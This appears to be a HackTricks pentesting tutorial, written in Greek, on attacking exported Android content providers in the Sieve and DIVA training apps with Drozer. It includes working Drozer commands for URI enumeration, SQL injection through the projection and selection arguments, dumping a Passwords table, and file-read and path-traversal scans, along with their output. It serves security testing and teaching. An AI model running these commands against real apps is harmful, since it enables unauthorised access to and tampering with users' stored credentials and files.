Exploiting Content Providers

Exploiting Content Providers

Support HackTricks

Intro

Δεδομένα παρέχονται από μια εφαρμογή σε άλλες κατόπιν αιτήματος από ένα συστατικό που ονομάζεται content provider. Αυτές οι αιτήσεις διαχειρίζονται μέσω των μεθόδων της ContentResolver class. Οι content providers μπορούν να αποθηκεύουν τα δεδομένα τους σε διάφορες τοποθεσίες, όπως μια βάση δεδομένων, αρχεία ή μέσω ενός δικτύου.

Στο αρχείο Manifest.xml, η δήλωση του content provider είναι απαραίτητη. Για παράδειγμα:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

Για να αποκτήσετε πρόσβαση στο content://com.mwr.example.sieve.DBContentProvider/Keys, είναι απαραίτητη η άδεια READ_KEYS. Είναι ενδιαφέρον να σημειωθεί ότι η διαδρομή /Keys/ είναι προσβάσιμη στην παρακάτω ενότητα, η οποία δεν είναι προστατευμένη λόγω ενός λάθους του προγραμματιστή, ο οποίος εξασφάλισε το /Keys αλλά δήλωσε το /Keys/.

Ίσως μπορείτε να αποκτήσετε πρόσβαση σε ιδιωτικά δεδομένα ή να εκμεταλλευτείτε κάποια ευπάθεια (SQL Injection ή Path Traversal).

Λάβετε πληροφορίες από εκτεθειμένους παρόχους περιεχομένου

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

Είναι δυνατόν να συνθέσουμε πώς να φτάσουμε στον DBContentProvider ξεκινώντας τις URIs με “content://”. Αυτή η προσέγγιση βασίζεται σε πληροφορίες που αποκτήθηκαν από τη χρήση του Drozer, όπου οι βασικές πληροφορίες βρίσκονταν στον /Keys κατάλογο.

Ο Drozer μπορεί να μαντέψει και να δοκιμάσει πολλές URIs:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Πρέπει επίσης να ελέγξετε τον κώδικα ContentProvider για να αναζητήσετε ερωτήματα:

Επίσης, αν δεν μπορείτε να βρείτε πλήρη ερωτήματα, μπορείτε να ελέγξετε ποια ονόματα δηλώνονται από τον ContentProvider στη μέθοδο onCreate:

Το ερώτημα θα είναι όπως: content://name.of.package.class/declared_name

Content Providers με υποστήριξη βάσης δεδομένων

Πιθανώς οι περισσότεροι από τους Content Providers χρησιμοποιούνται ως διεπαφή για μια βάση δεδομένων. Επομένως, αν μπορείτε να έχετε πρόσβαση σε αυτήν, θα μπορούσατε να εξάγετε, ενημερώσετε, εισάγετε και διαγράψετε πληροφορίες. Ελέγξτε αν μπορείτε να έχετε πρόσβαση σε ευαίσθητες πληροφορίες ή προσπαθήστε να τις αλλάξετε για να παρακάμψετε μηχανισμούς εξουσιοδότησης.

Όταν ελέγχετε τον κώδικα του Content Provider, κοιτάξτε επίσης για συναρτήσεις που ονομάζονται όπως: query, insert, update και delete:

Διότι θα μπορείτε να τις καλέσετε

Ερώτημα περιεχομένου

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Insert content

Αναζητώντας τη βάση δεδομένων θα μάθετε το όνομα των στηλών, τότε, θα μπορείτε να εισάγετε δεδομένα στη DB:

Σημειώστε ότι στην εισαγωγή και την ενημέρωση μπορείτε να χρησιμοποιήσετε --string για να υποδείξετε συμβολοσειρά, --double για να υποδείξετε διπλό, --float, --integer, --long, --short, --boolean

Update content

Γνωρίζοντας το όνομα των στηλών μπορείτε επίσης να τροποποιήσετε τις καταχωρίσεις:

Delete content

SQL Injection

Είναι απλό να δοκιμάσετε για SQL injection (SQLite) χειρίζοντας τα projection και selection fields που περνούν στον πάροχο περιεχομένου. Όταν αναζητάτε τον Content Provider υπάρχουν 2 ενδιαφέροντα επιχειρήματα για να αναζητήσετε πληροφορίες: --selection και --projection:

Μπορείτε να προσπαθήσετε να καταχραστείτε αυτές τις παραμέτρους για να δοκιμάσετε για SQL injections:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Αυτόματη ανακάλυψη SQLInjection από το Drozer

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

Content Providers με υποστήριξη συστήματος αρχείων

Οι Content Providers μπορούν επίσης να χρησιμοποιηθούν για πρόσβαση σε αρχεία:

Διαβάστε αρχείο

Μπορείτε να διαβάσετε αρχεία από τον Content Provider

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Path Traversal

Αν μπορείτε να έχετε πρόσβαση σε αρχεία, μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια Path Traversal (σε αυτή την περίπτωση αυτό δεν είναι απαραίτητο αλλά μπορείτε να προσπαθήσετε να χρησιμοποιήσετε το "../" και παρόμοια κόλπα).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Αυτόματη ανακάλυψη διαδρομών από τον Drozer

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

Αναφορές

Υποστήριξη HackTricks

Last updated